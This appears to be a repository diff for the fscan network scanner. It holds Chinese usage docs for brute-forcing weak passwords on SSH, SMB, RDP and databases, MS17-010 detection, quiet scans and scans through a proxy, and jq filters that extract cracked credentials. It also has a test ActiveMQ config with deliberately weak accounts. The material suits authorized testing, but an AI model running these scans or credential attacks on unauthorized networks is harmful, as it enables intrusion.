| `-pwdf` | 密码字典文件 |
| `-domain` | 域名(SMB/WMI |
| `-sshkey` | SSH 私钥文件 |
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
### 代理
| 参数 | 说明 |
|------|------|
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
| `-iface` | 指定本地网卡 IP(VPN 场景) |
### 输出
| 参数 | 说明 |
|------|------|
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
| `-o` | 输出文件路径(默认 `result.txt` |
| `-f` | 输出格式:`txt` / `json` / `csv` |
| `-no` | 禁用文件保存 |
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
| `-log` | 日志级别(`debug` / `info` / `base` / `error` |
### 扫描模式 `-m` 的取值
| 值 | 说明 |
|------|------|
| `all` | 全部扫描(默认) |
| `icmp` | 仅 ICMP 存活检测 |
| 插件名 | 仅运行指定插件(如 `ssh``smb``ms17010``webtitle` |
## 服务插件列表
| 插件 | 默认端口 | 功能 |
|------|----------|------|
| `ftp` | 21 | FTP 弱口令 |
| `ssh` | 22 | SSH 弱口令 |
| `telnet` | 23 | Telnet 弱口令 |
| `smtp` | 25 | SMTP 弱口令 |
| `findnet` | 135 | RPC 网络信息发现(NetInfo |
| `netbios` | 139 | NetBIOS 信息收集 |
| `smb` | 445 | SMB 弱口令 |
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
| `ldap` | 389 | LDAP 弱口令 |
| `mssql` | 1433 | MSSQL 弱口令 |
| `oracle` | 1521 | Oracle 弱口令 |
| `mysql` | 3306 | MySQL 弱口令 |
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
| `postgresql` | 5432 | PostgreSQL 弱口令 |
| `vnc` | 5900 | VNC 弱口令 |
| `redis` | 6379 | Redis 未授权 + 弱口令 |
| `elasticsearch` | 9200 | ES 未授权 |
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
| `memcached` | 11211 | Memcached 未授权 |
| `kafka` | 9092 | Kafka 未授权 |
| `activemq` | 61616 | ActiveMQ 弱口令 |
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
| `cassandra` | 9042 | Cassandra 弱口令 |
| `neo4j` | 7687 | Neo4j 弱口令 |
| `rsync` | 873 | Rsync 未授权 |
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
| `webpoc` | 80/443 | Web 漏洞 POC |
## 本地插件(`-local`
```bash
fscan -local avdetect # 杀软检测
fscan -local systeminfo # 系统信息收集
fscan -local envinfo # 环境变量信息
fscan -local dcinfo # 域控信息
fscan -local fileinfo # 敏感文件搜索
```
## NDJSON 输出 Schema`-silent` 模式)
每行一个 JSON 对象,所有字段定义:
| 字段 | 类型 | 出现条件 | 说明 |
|------|------|----------|------|
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
| `target` | string | 必有 | 原始目标 `host``host:port` |
| `status` | string | 必有 | 状态描述 |
| `host` | string | 必有 | IP 地址 |
| `port` | int | PORT/SERVICE/VULN | 端口号 |
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https |
| `banner` | string | SERVICE | 服务 Banner |
| `title` | string | SERVICE (web) | 网页标题 |
| `url` | string | SERVICE (web) | 完整 URL |
| `vulnerability` | string | VULN | 漏洞名称 |
| `username` | string | VULN (弱口令) | 用户名 |
| `password` | string | VULN (弱口令) | 密码 |
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
| `version` | string | SERVICE | 服务版本号 |
| `os` | string | SERVICE | 操作系统信息 |
### 输出示例
```jsonl
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
```
### 结果产出顺序
1. `HOST` — 存活探测阶段
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
3. `SERVICE` — 服务识别阶段
4. `VULN` — 漏洞/弱口令检测阶段
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
## 常用场景参数组合
### 全网段快速扫描
```bash
fscan -h 192.168.1.0/24 -silent
```
### 跳过存活检测直接扫端口(目标明确时)
```bash
fscan -h 192.168.1.0/24 -silent -np
```
### 指定端口精确扫描
```bash
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
```
### 仅存活探测
```bash
fscan -h 172.16.0.0/16 -silent -m icmp
```
### 低速隐蔽扫描
```bash
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
```
### 通过 SOCKS5 代理扫描内网
```bash
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
```
### 仅做弱口令检测
```bash
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
```
### Web 目标扫描
```bash
fscan -u https://target.com -silent -full
```
### 多目标文件批量扫描
```bash
fscan -hf targets.txt -silent -o results.json -f json
```
### 带调试日志的排障扫描
```bash
# NDJSON 到 stdoutdebug 日志到文件,互不干扰
fscan -h 192.168.1.0/24 -silent -debug
# 事后查看:cat fscan_debug.log
```
## AI Agent 结果处理
### Python 管道消费
```python
import json, subprocess
proc = subprocess.Popen(
["fscan", "-h", "192.168.1.0/24", "-silent"],
stdout=subprocess.PIPE, text=True
)
hosts, services, vulns = [], [], []
for line in proc.stdout:
r = json.loads(line)
if r["type"] == "HOST":
hosts.append(r["host"])
elif r["type"] == "SERVICE":
services.append(r)
elif r["type"] == "VULN":
vulns.append(r)
proc.wait()
```
### jq 过滤
```bash
# 提取所有弱口令
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
# 提取所有漏洞
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
# 提取 Web 服务
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
# 统计开放端口
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
```
## 注意事项
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
- 空字段不出现在 JSON 中(`omitempty`
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
- `-silent``-debug` 可同时使用,互不干扰
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
+11
View File
@@ -0,0 +1,11 @@
FROM rmohr/activemq:5.15.9
# 复制配置文件
COPY users.properties /opt/activemq/conf/users.properties
COPY activemq.xml /opt/activemq/conf/activemq.xml
# 暴露端口
EXPOSE 61616 61613
# 设置启动命令
CMD ["/opt/activemq/bin/activemq", "console"]
@@ -6,50 +6,34 @@
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
http://activemq.apache.org/schema/core http://activemq.apache.org/schema/core/activemq-core.xsd">
<!-- 专注于STOMP协议的ActiveMQ配置 -->
<broker xmlns="http://activemq.apache.org/schema/core" useJmx="false" persistent="false">
<!-- 安全认证配置 -->
<broker xmlns="http://activemq.apache.org/schema/core" useJmx="true" persistent="false">
<!-- 安全设置 -->
<plugins>
<simpleAuthenticationPlugin>
<users>
<!-- 主要测试账户 -->
<authenticationUser username="admin" password="Aa123456789" groups="admins,publishers,consumers"/>
<authenticationUser username="admin" password="admin" groups="admins,publishers,consumers"/>
<authenticationUser username="test" password="test123" groups="publishers,consumers"/>
<authenticationUser username="root" password="root123" groups="admins"/>
<authenticationUser username="system" password="admin123" groups="admins"/>
<authenticationUser username="guest" password="guest" groups="consumers"/>
<authenticationUser username="activemq" password="activemq" groups="publishers,consumers"/>
</users>
</simpleAuthenticationPlugin>
<!-- 简化的授权配置 -->
<!-- 授权插件 -->
<authorizationPlugin>
<map>
<authorizationMap>
<authorizationEntries>
<authorizationEntry queue=">" read="consumers,admins" write="publishers,admins" admin="admins"/>
<authorizationEntry topic=">" read="consumers,admins" write="publishers,admins" admin="admins"/>
<authorizationEntry queue=">" read="consumers" write="publishers" admin="admins"/>
<authorizationEntry topic=">" read="consumers" write="publishers" admin="admins"/>
</authorizationEntries>
</authorizationMap>
</map>
</authorizationPlugin>
</plugins>
<!-- 仅启用STOMP传输连接器 -->
<transportConnectors>
<transportConnector name="stomp" uri="stomp://0.0.0.0:61613?maximumConnections=500&amp;wireFormat.maxFrameSize=104857600"/>
<transportConnector name="stomp+ssl" uri="stomp+ssl://0.0.0.0:61614?maximumConnections=500&amp;wireFormat.maxFrameSize=104857600"/>
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
<transportConnector name="stomp" uri="stomp://0.0.0.0:61613?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
</transportConnectors>
<!-- 禁用JMX和Web控制台以简化配置 -->
<managementContext>
<managementContext createConnector="false"/>
</managementContext>
<!-- 简化的持久化配置 -->
<persistenceAdapter>
<memoryPersistenceAdapter/>
</persistenceAdapter>
</broker>
</beans>

Some files were not shown because too many files have changed in this diff Show More